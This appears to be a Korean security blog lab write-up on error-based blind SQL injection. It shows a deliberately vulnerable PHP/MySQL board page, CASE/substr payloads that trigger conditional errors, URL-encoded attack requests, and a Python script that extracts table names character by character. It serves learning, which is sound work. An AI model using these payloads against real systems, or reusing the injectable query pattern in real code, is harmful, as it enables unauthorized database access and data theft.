Self-Improvement

블라인드 SQLi (Mysql, 조건부 에러, Python 코드 자동화, CASE, Substr) 본문

SQLi

블라인드 SQLi (Mysql, 조건부 에러, Python 코드 자동화, CASE, Substr)

JoGeun 2020. 4. 22. 16:47

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
$mysqli = new mysqli('localhost''root''root''northwind');
 
if (mysqli_connect_errno()) {
    printf("Connection failed: %s\n",mysqli_connect_error());
    exit;
}
 
$queryCheck="select 1 from board";
$result = $mysqli->query($queryCheck);
 
if($result == FALSE){
    $createQuery="CREATE TABLE board (" .
                 "idx int(11) AUTO_INCREMENT PRIMARY KEY," .
                 "writer VARCHAR(10) NOT NULL," .
                 "email VARCHAR(30)," .
                 "subject VARCHAR(50) NOT NULL," .
                 "passwd VARCHAR(12) NOT NULL," .
                 "reg_date DATETIME NOT NULL," .
                 "readcount INT DEFAULT 0," .
                 "content TEXT NOT NULL," .
                 "ip VARCHAR(20) NOT NULL);";
    $result = $mysqli->query($createQuery);
}
 
$_search = "";
 
if(isset($_GET['subject'])) $_search  = $_GET['subject'];
 
$sql    = 'select * from board where subject=\'' . $_search . '\'';
 
if ($_search!="") {
        if(strpos($_search,"union")==FALSE) $result = $mysqli->query($sql);
        if (!$result) {
                echo "DB Error, could not query the database\n";
                exit;
        }
}
 
print "<form action=\"" . $_SERVER['PHP_SELF'] . "\">\n";
print "제목검색 : ";
print "<input type=\"text\" name=\"subject\" value=\"" . $_search . "\">&nbsp;";
print "<input type=\"submit\" value=\"검색\">";
print "</form>\n";
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td width=\"20\">num</td>".
        "<td width=\"220\">subject</td>" .
        "<td width=\"80\">writer</td>" .
        "<td width=\"80\">date</td>" .
        "<td width=\"20\">count</td>\n\t</tr>";
 
if ($result) {
        while ($row = $result->fetch_row()) {
                print "\t<tr>\n\t\t<td>" . $row['idx'] . "</td><td>" .
                $row['subject'] . "</td><td>" . $row['writer'] . "</td><td>" .
                $row['reg_date'] . "</td><td>" . $row['readcount'] . "\n\t</tr>\n";
        }
        $mysqli->close();
}
print "</table>\n";
?>
cs

 

페이지에 접속하여 싱글쿼터를 주입해보면 DB Error 내용보다는 커스텀된 에러 메시지가 나오게 된다.

이것을 보고 유추할 수 있는 것은 Error SQLi는 되지 않으며 싱글쿼터 주입시 에러가 발생한 것을 보아 Blind SQLi가 가능 하다는 것을 알 수 있다.

 

참/거짓 명제를 만들어보며 응답을 확인해 본다.

' and '1'='1
' and '1'='2

참/거짓 명제를 주입해도 결과는 동일하게 빈 데이터가 나오게 되며 싱글쿼터 즉 DB 형식에 맞지 않게 주입하면 오류가 발생한다. 이러한 오류발생을 가지고 Blind SQLi를 해보도록 한다.

 

CASE 구문과 Error SQLi에서 학습한 무조건 오류가 발생하는 구문으로 오류가 발생하는 상황을 해본다.

True ' and (case when 1=1 then 1 else (select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
Error ' and (case when 1=2 then 1 else (select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1

- http://192.168.1.46/board_list.php?subject=%27%20and%20(case%20when%201=2%20then%201%20else%20(select%20count(*)%20from%20(select%20count(*),%20concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%20end)%20and%20%271%27=%271

 

이제는 오류가 발생하는 구문인 when 절에 특정 쿼리가 참이면 True가 되며 거짓이면 에러가 발생할 것이다.

예시로 버전의 '5.5-MariaDB'에서 첫 글자 '5'에 대한 쿼리를 작성해본다

Error ' and (case when (select substr(version(),1,1) from dual)=4 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
True ' and (case when (select substr(version(),1,1) from dual)=5 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1

- http://192.168.1.46/board_list.php?subject=%27%20and%20(case%20when%20(select%20substr(version(),1,1)%20from%20dual)=5%20then%201%20else%20(select%20count(*)%20from%20(select%20count(*),concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%20end)%20and%20%271%27=%271

 

해당 쿼리문을 이용하여 테이블 갯수(134개)까지 해본다.

True ' and (case when (select count(*) from information_schema.tables)>100 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
Error ' and (case when (select count(*) from information_schema.tables)>200 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
Error ' and (case when (select count(*) from information_schema.tables)>150 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
True ' and (case when (select count(*) from information_schema.tables)>130 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1
True ' and (case when (select count(*) from information_schema.tables)=134 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1

- http://192.168.1.46/board_list.php?subject=%27%20and%20(case%20when%20(select%20count(*)%20from%20information_schema.tables)=134%20then%201%20else%20(select%20count(*)%20from%20(select%20count(*),concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%20end)%20and%20%271%27=%271

 

Python 코드 자동화로 간단히 해본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
 
 
= requests.Session()
 
baseurl='http://192.168.1.46'
 
a=[]
for i in range(1,15):
    for number in range(128):
        url=baseurl+'/board_list.php?'
        url+='subject=%27%20and%20(case%20when%20(select%20substr(table_name,'+str(i)+',1)%20from%20information_schema.tables%20limit%201%20offset%200)=char('+str(number)+')%20then%201%20else%20(select%20count(*)%20from%20(select%20count(*),concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%20end)%20and%20%271%27=%271'
        resp=s.get(url)
        if 'DB Error' not in resp.text:
            a.append(chr(number))
            print (''.join(a))
            break
cs